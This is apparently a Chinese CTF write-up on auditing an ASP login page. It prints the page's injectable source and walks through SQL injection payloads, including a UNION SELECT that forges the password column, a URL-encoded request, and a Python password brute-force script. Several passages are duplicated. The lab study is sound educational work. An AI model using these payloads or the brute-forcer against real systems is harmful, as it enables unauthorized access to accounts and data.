[漏洞分析] CTF:ASP源码审计认证绕过
2015-07-07 13:46
1046 查看
登录界面如下:
随便尝试一个登录凭证,系统会报错
这是一个考察源代码审计的题,从页面中可得源代码为
首先先验证用户名是否在数据库中存在,即代码:sql = "select * from bdmin where name='" & name & "'",如果用户名存在(也就是说合法用户)继续认证密码,否则在页面打印“user or pass error!”
此处我输入了' OR 'a'='a来绕过对于用户名的检查,绕过之后不会有“user or pass error!”报错信息。
接下来就是对密码的检查了,代码中有一句if StrComp(rs("pass"),pass) = 0,也就是说在本题中,从刚才验证用户名成功的条目中取出密码值与用户的密码值进行比对,碰上了就会打印“Great! Key:*********”
于是编写了一个python脚本结合字典尝试对此进行暴力破解,但实验结果表明用户名和密码没有对的。
也就是在用户名处输入username=' union select 1,1,1 from bdmin where ''='
在密码处输入1
当然含有3个字段是一点点尝试出来的,也就是:
用户名:' union select 1 from bdmin where ''='密码:1 (报错 user or pass error!)
用户名:' union select 1,1 from bdmin where ''='密码:1(报错 user or pass error!)
用户名:' union select 1,1,1 from bdmin where ''='密码:1(返回Great! Key:Beautlful111)
随后为了进一步确认究竟哪个字段为密码字段,进行如下尝试:
用户名:' union select 1,2,3 from bdmin where ''='密码:1(报错 user or pass error!)
用户名:' union select 1,2,3 from bdmin where ''='密码:2(报错 user or pass error!)
用户名:' union select 1,2,3 from bdmin where ''='密码:3(返回Great! Key:Beautlful111)
可见第3个字段是密码字段。
注意:
本处对于用户名和密码的输入都在burp中进行,因为对于Username字段的定义,其最大长度为15,但仅在前端做了限制因此可用burp绕过,在编写HTTP Body部分时,需要进行UELEncode
也就是将username=' union select 1,1,1 from bdmin where ''='&userpass=1编码为username=%27%20union%20select%201%2C1%2C1%20from%20bdmin%20where%20%27%27%3D%27&userpass=1
随便尝试一个登录凭证,系统会报错
这是一个考察源代码审计的题,从页面中可得源代码为
<% On Error Resume Next dim name, pass, sql, action set conn = server.CreateObject("ADODB.Connection") conn.open "provider=Microsoft.jet.OLEDB.4.0;Data Source=" &Server.mappath("******.mdb") name = request.form("username") pass = request.form("userpass") action = request("action") if action="login" then sql = "select * from bdmin where name='" & name & "'" set rs=server.CreateObject("adodb.recordset") rs.open sql,conn,1,3 if rs.eof and rs.bof then response.write "<center>user or pass error!</center>" else if StrComp(rs("pass"),pass) = 0 then response.write "<center>Great! Key:*********</center>" end if end if end if %>从页面处获得用户输入的用户名和密码,
首先先验证用户名是否在数据库中存在,即代码:sql = "select * from bdmin where name='" & name & "'",如果用户名存在(也就是说合法用户)继续认证密码,否则在页面打印“user or pass error!”
此处我输入了' OR 'a'='a来绕过对于用户名的检查,绕过之后不会有“user or pass error!”报错信息。
接下来就是对密码的检查了,代码中有一句if StrComp(rs("pass"),pass) = 0,也就是说在本题中,从刚才验证用户名成功的条目中取出密码值与用户的密码值进行比对,碰上了就会打印“Great! Key:*********”
于是编写了一个python脚本结合字典尝试对此进行暴力破解,但实验结果表明用户名和密码没有对的。
#!/usr/bin/python #-*-coding:utf-8-*- #网页POST提交数据 import urllib import urllib2 import re url = 'http://ctf8.simplexue.com/aspaudit/?action=login' header = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11', 'Accept':'text/html;q=0.9,*/*;q=0.8', 'Accept-Charset':'ISO-8859-1,utf-8;q=0.7,*;q=0.3', 'Accept-Encoding':'gzip', 'Connection':'close', 'Referer':None, 'Host': 'ctf8.simplexue.com'} username_input = "admin" fobj = open('password.txt','r') for eachline in fobj: values = {'username':username_input,'userpass':eachline.strip()} data = urllib.urlencode(values) print data req = urllib2.Request(url,data,header) response = urllib2.urlopen(req) the_page = response.read() flag = re.compile(r'Great!',re.DOTALL).findall(the_page) if len(flag)>1: print "PASSWORD:"+eachline.strip() break于是如果想过第二关就得自己构造pass字段。
也就是在用户名处输入username=' union select 1,1,1 from bdmin where ''='
在密码处输入1
当然含有3个字段是一点点尝试出来的,也就是:
用户名:' union select 1 from bdmin where ''='密码:1 (报错 user or pass error!)
用户名:' union select 1,1 from bdmin where ''='密码:1(报错 user or pass error!)
用户名:' union select 1,1,1 from bdmin where ''='密码:1(返回Great! Key:Beautlful111)
随后为了进一步确认究竟哪个字段为密码字段,进行如下尝试:
用户名:' union select 1,2,3 from bdmin where ''='密码:1(报错 user or pass error!)
用户名:' union select 1,2,3 from bdmin where ''='密码:2(报错 user or pass error!)
用户名:' union select 1,2,3 from bdmin where ''='密码:3(返回Great! Key:Beautlful111)
可见第3个字段是密码字段。
注意:
本处对于用户名和密码的输入都在burp中进行,因为对于Username字段的定义,其最大长度为15,但仅在前端做了限制因此可用burp绕过,在编写HTTP Body部分时,需要进行UELEncode
也就是将username=' union select 1,1,1 from bdmin where ''='&userpass=1编码为username=%27%20union%20select%201%2C1%2C1%20from%20bdmin%20where%20%27%27%3D%27&userpass=1
相关文章推荐
- 如何设置ASP.NET页面的运行超时时间
- asp.net Ajax的应用
- OData v4 - Web API 轻量级应用(使用Entity Framwork)-Endpoint
- ASP.NET MVC图片管理(上传,预览与显示)
- asp.net mvc 如何在View中获取Url参数的值
- ASP.NET MVC显示HTML字符串
- ASP.NET中使用Razor语法(C#)怎样获取当前浏览器的cookie
- 让Windows Server 2008 + IIS 7+ ASP.NET 支持10万并发请求
- 用Jasper制作贷款分期报表
- Spring基于注解@AspectJ的AOP
- ASP.NET MVC随想录——创建自定义的Middleware中间件
- asp.net 学习之路之gridView控件之修改数据
- ASP.NET MVC 基于页面的权限管理
- ASP.Net Cache(缓存)
- ASP.Net MVC 使用MySQL 【转】
- ASP.NET MVC与Sql Server交互,把字典数据插入数据库
- Asp.Net Ajax4.5 未知的服務器標記 問題
- ASP.NET MVC与Sql Server交互, 插入数据
- ASP.NET MVC与Sql Server建立连接
- 【回味无穷】ASP.NET内部控件